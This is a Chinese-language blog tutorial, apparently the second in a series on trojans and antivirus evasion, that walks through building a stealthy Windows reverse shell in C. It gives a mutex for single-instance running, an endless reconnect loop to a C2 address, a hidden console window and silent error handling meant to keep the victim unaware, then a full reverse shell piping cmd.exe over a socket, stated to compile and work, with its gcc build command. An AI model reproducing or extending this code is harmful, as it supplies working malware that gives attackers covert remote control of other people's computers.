从木马到免杀(二)

🎯学习目标:木马免杀

🛠️当前阶段:理解木马底层原理,实现能跑通的木马

📌当前主线:网络链管道链进程链转发循环细节实现

细节实现——让shell“活下去”

单实例互斥

如果木马被多次运行,就会出现进程抢管道、抢C2端口的情况,同时也会让杀软更容易发现异常。利用Windows的互斥体(Mutex)解决重复启动问题。

1
2
3
4
5
HANDLE hMutex = CreateMutexA(NULL, TRUE, "Global\\Demo5");	//给互斥体起名
if (hMutex && GetLastError() == ERROR_ALREADY_EXISTS) {
//系统里已有同名互斥体,即已存在另一个实例
ExitProcess(0); //退出
}

断线重连

当前代码的运行逻辑是连上就跑,连不上直接return。一旦连接失败(或中断),植入端就死了。废九牛二虎之力拉起来的shell一断就死,这显然是不合理的。可以将connect放入无限循环中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void ensure_single(void);
SOCKET connect_c2(void);
void shell(SOCKET s);

//主函数结构改为:外层死循环+重连等待
int main(void) {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
ensure_single(); //先保证单实例
for (;;) { //保证程序不退出
SOCKET s = connect_c2(); //循环连接,失败就重试
shell(s); //转发循环
Sleep(5000); //断开后5秒重连
}
return 0;
}

SOCKET connect_c2(void) {
for (;;) {
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET) { Sleep(5000); continue; }

struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(C2_PORT);
addr.sin_addr.s_addr = inet_addr(C2_IP);

if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0)
return s; //连接成功,返回socket
closesocket(s); //连接失败,关闭socket
Sleep(5000); //静默5秒重试
}
}

静默失败

默认的Windows程序出错时会弹MessageBox,用户在桌面看到弹窗,木马就暴露了。因此木马的一切错误处理都应该采取静默处理的方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <winsock2.h>
#include <windows.h>

//1、链接时声明为GUI程序,不要黑窗
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")

#define C2_IP "127.0.0.1"
#define C2_PORT 4444
#define RETRY_MS 5000

//2、用WinMain替代main
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev,
LPSTR lpCmdLine, int nCmdShow) { //LPSTR lpCmdLine 可传命令行参数

//主程序……
return 0;
}

以上就是木马设计的一些基本原理,当然,一个高可用性的木马需要考虑的细节远不止这些,下面是具体实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")		//去黑窗
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#define C2_IP "127.0.0.1"
#define C2_PORT 4444
#define RETRY_MS 5000

//单实例互斥
static void ensure_single(void) {
HANDLE m = CreateMutexA(NULL, TRUE, "Global\\DemoRShell");
if (m && GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
}

//循环连接
static SOCKET connect_c2(void) {
for (;;) {
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET) {
Sleep(RETRY_MS);
continue;
}

struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(C2_PORT);
addr.sin_addr.s_addr = inet_addr(C2_IP);

if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0)
return s;
closesocket(s);
Sleep(RETRY_MS);
}
}

//拉取cmd、转发循环
static void shell(SOCKET s) {
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

HANDLE hInR, hInW, hOutR, hOutW;
if (!CreatePipe(&hInR, &hInW, &sa, 0)) return;
if (!CreatePipe(&hOutR, &hOutW, &sa, 0)) {
CloseHandle(hInR); CloseHandle(hInW);
return;
}

STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hInR;
si.hStdOutput = hOutW;
si.hStdError = hOutW;

char cmdline[] = "cmd.exe";
if (!CreateProcessA(NULL, cmdline, NULL, NULL,
TRUE, CREATE_NO_WINDOW,
NULL, NULL, &si, &pi)) {
CloseHandle(hInR); CloseHandle(hInW);
CloseHandle(hOutR); CloseHandle(hOutW);
return;
}

//关闭已经交给cmd的端
CloseHandle(hInR);
CloseHandle(hOutW);

for (;;) {
//数据从C2到cmd
fd_set rfds;
FD_ZERO(&rfds);
FD_SET(s, &rfds);
struct timeval tv = {0, 100000};

if (select(0, &rfds, NULL, NULL, &tv) > 0 && FD_ISSET(s, &rfds)) {
char buf[8192];
int n = recv(s, buf, sizeof(buf), 0);
if (n <= 0) break;
DWORD written = 0;
WriteFile(hInW, buf, n, &written, NULL);
}

//数据从cmd到C2
DWORD avail = 0;
if (PeekNamedPipe(hOutR, NULL, 0, NULL, &avail, NULL) && avail > 0) {
char out[8192];
DWORD got = 0;
if (!ReadFile(hOutR, out, sizeof(out), &got, NULL) || got == 0)
break;
send(s, out, got, 0);
}
}

//清理资源
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hInW);
CloseHandle(hOutR);
closesocket(s);
}

int main(void) {
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
return 1;

ensure_single();

for (;;) { //断线重连
SOCKET s = connect_c2();
shell(s);
Sleep(RETRY_MS);
}

WSACleanup();
return 0;
}

PS:本篇代码经编译测试可用,不过用gcc编译时还需加上‘-mwindows’,不然会有黑窗,因为gcc不认#pragma comment。

1
gcc -O2 -mwindows -o rshell.exe rshell.c -lws2_32